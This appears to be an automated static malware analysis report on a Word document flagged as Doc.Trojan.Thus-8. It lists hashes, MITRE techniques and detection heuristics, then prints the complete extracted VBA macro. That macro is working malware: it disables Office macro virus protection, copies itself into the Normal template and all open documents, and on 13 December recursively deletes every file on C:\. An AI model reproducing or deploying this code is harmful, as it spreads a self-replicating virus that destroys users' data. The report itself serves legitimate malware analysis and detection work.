Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6d1b0fed1c56ff7a…

MALICIOUS

Office (OLE)

45.0 KB Created: 2008-04-28 18:55:00 Authoring application: Microsoft Word 11.2 First seen: 2015-02-17
MD5: 8256c1940545dd4cf0ee659c76afae64 SHA-1: 2c013b9b003a8a8261dd8e6dea0766584d15b093 SHA-256: 6d1b0fed1c56ff7a6b628b44f680902247922902cea8951f68a9c43fe8400ec3
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that are designed to disable Office's macro virus protection and replicate themselves to the Normal template and other open documents. This behavior suggests an attempt at persistence and propagation. The ClamAV detection 'Doc.Trojan.Thus-8' further supports the malicious nature of the file.

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-8 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-8
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        On Error Resume Next
        Application.Options.VirusProtection = False
        If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_Open()
    'Thus_001'

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2368 bytes
SHA-256: 8a9d9c5c4f6aa8c2fa40e76162277ab9b95723880536e5b0b390bdb5c5cdbcac
Detection
ClamAV: Doc.Trojan.Thus-8
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.deletelines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
    If (Day(Now()) = 13) And (Month(Now()) = 12) Then
    With Application.FileSearch
        .NewSearch
        .LookIn = "C:\"
        .SearchSubFolders = True
        .FileName = "*.*"
        .MatchTextExactly = False
        .FileType = msoFileTypeAllFiles
        If .Execute > 0 Then
        For i = 1 To .FoundFiles.Count
        Kill .FoundFiles(i)
        Next i
        End If
    End With
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub